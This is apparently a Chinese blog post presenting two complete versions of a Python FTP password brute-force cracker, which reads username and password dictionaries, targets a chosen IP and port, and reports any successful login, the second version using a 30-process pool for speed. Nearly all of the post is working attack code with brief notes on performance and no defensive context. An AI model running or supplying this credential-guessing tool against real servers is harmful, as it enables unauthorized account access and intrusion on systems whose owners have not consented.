python之FTP口令猜解

0x00 第一版:

这一版没有使用线程池,当字典过大的时候就会出现子线程过多,导致内存,CPU等爆满。

import easygui as gui  #导入ui
import ftplib  #导入ftp模块
from multiprocessing import Process,Queue  #引入多线程机制
import time


def info_get(): #获取爆破信息参数
    title="FTP暴力猜解"
    message=['请选择用户文件','请选择密码文件','请输入要猜解的主机ip','请输入端口号(默认21)']
    user_path=gui.fileopenbox(message[0],title)
    pass_path=gui.fileopenbox(message[1],title)
    ip=gui.enterbox(message[2],title)
    port=gui.enterbox(message[3],title)
    if user_path!=None and pass_path!=None and ip!=None and port!=None:
        return (user_path,pass_path,ip,port)
    else:
        user_path="./user.txt"
        pass_path="pass.txt"
        ip="127.0.0.1"
        port="21"
        return (user_path,pass_path,ip,port)


def ftp_crack(user,pass1,ip,port,queue=None):
    message=("cannot connect Host","user or pass error!","crack success!!!")   #定义异常输出信息
    ftp=ftplib.FTP()

    #主机连接失败
    try:
        ftp.connect(ip, port, timeout=30)
    except:
        queue.put((message[0],user,pass1))  #使用队列将结果存储并返回
        return

    #账号1密码错误
    try:
        ftp.login(user,pass1)
    except ftplib.error_perm:
        queue.put((message[1],user,pass1))
        return
    else:
        queue.put((message[2],user,pass1))
        return


def main():
    #首先获取爆破信息
    info=info_get()
    if info[2]=="127.0.0.1":
        print("请输入正确的IP信息")
        exit(0)
    else:
        #信息获取正确,开始准备爆破
        queue = Queue()  # 进程通信队列
        fp_user=open(info[0],"r",encoding="utf-8")
        fp_pass=open(info[1],"r",encoding="utf-8")
        ip=info[2]
        port=int(info[3])
        for each_line_user in fp_user:
            each_line_user=each_line_user.strip("\n")  #去掉换行符
            fp_pass.seek(0,0)    #文件指针复原,否则无法再从头读取
            for each_line_pass in fp_pass:
                each_line_pass = each_line_pass.strip("\n")  #去掉换行符
                print("testing........."+each_line_user+":"+each_line_pass)
                ftp_crack1=Process(target=ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue))  #创建线程
                ftp_crack1.start()  #开启线程
                time.sleep(2)  #如果不采用休眠,当所有的子线程全部开启之后,队列中可能还没有结果,导致整个主线程结束。

        print("**************************************爆破结果****************************************")



        #循环读取队列结果并显示
        right=[]
        while True:
            if queue.empty():
                break
            else:
                tmp=queue.get()
                if tmp[0]=="crack success!!!":
                    right=(tmp[0],tmp[1],tmp[2])
                else:
                    print(tmp[1]+":"+tmp[2]+"------>"+tmp[0])

        if right:
            print(right[1]+":"+right[2]+"------->"+right[0])
        else:
            print("crack fail!!!!")

if __name__=="__main__":
    main()

0x01 第二版

采用线程池,限制子线程个数,使用队列保存猜解出来的口令。

import easygui as gui  #导入ui
import ftplib  #导入ftp模块
from multiprocessing import Pool,Manager  #引入多线程机制


def info_get(): #获取爆破信息参数
    title="FTP暴力猜解"
    message=['请选择用户文件','请选择密码文件','请输入要猜解的主机ip','请输入端口号(默认21)']
    user_path=gui.fileopenbox(message[0],title)
    pass_path=gui.fileopenbox(message[1],title)
    ip=gui.enterbox(message[2],title)
    port=gui.enterbox(message[3],title)
    if user_path!=None and pass_path!=None and ip!=None and port!=None:
        return (user_path,pass_path,ip,port)
    else:
        user_path="./user.txt"
        pass_path="pass.txt"
        ip="127.0.0.1"
        port="21"
        return (user_path,pass_path,ip,port)


def ftp_crack(user,pass1,ip,port,queue=None):   #ftp连接测试
    message=("cannot connect Host","user or pass error!","crack success!!!")   #定义异常输出信息
    ftp=ftplib.FTP()

    #主机连接失败
    try:
        ftp.connect(ip, port, timeout=30)
    except:
        print(user+":"+pass1+"----------->"+message[0])
        return

    #账号1密码错误
    try:
        ftp.login(user,pass1)
    except ftplib.error_perm:
        print(user+":"+pass1+":"+"------------>"+message[1])
        return
    else:
        print("***************************************************")
        print("*"+user+":"+pass1+"---------------->"+message[2]+"*")
        print("***************************************************")
        queue.put((message[2],user,pass1))   #强行使用一波队列,熟悉一下
        return


def main():
    #首先获取爆破信息
    info=info_get()
    if info[2]=="127.0.0.1":
        print("请输入正确的IP信息")
        exit(0)
    else:
        #信息获取正确,开始准备爆破
        pool=Pool(30)   #创建进程池,避免进程太多占用内存
        queue = Manager().Queue()  # 进程池通信队列,用于进程池中进程通信
        fp_user=open(info[0],"r",encoding="utf-8")
        fp_pass=open(info[1],"r",encoding="utf-8")   #打开账号密码文件
        ip=info[2]
        port=int(info[3])
        for each_line_user in fp_user:
            each_line_user=each_line_user.strip("\n")  #去掉换行符
            fp_pass.seek(0,0)    #文件指针复原,否则无法再从头读取
            for each_line_pass in fp_pass:
                each_line_pass = each_line_pass.strip("\n")  #去掉换行符
                print("testing........."+each_line_user+":"+each_line_pass)
                next_wait=pool.apply_async(ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue))  #创建线程
            next_wait.wait()   #让下一组测试等待上一组完全结束再开始

        pool.close()  #全部组合结束,将进程池关闭,不再接收新任务
        pool.join()  #d等待全部进程结束

        result=[]
        while True:
            if not queue.empty():
                result=queue.get()
                print("!!!crack success!!!")
                print(result[1]+":"+result[2]+"----------->"+result[0])
                break
            else:
                print("crack fail! Can't find the right user and pass")
                break

if __name__=="__main__":
    main()

你可能感兴趣的:(python学习)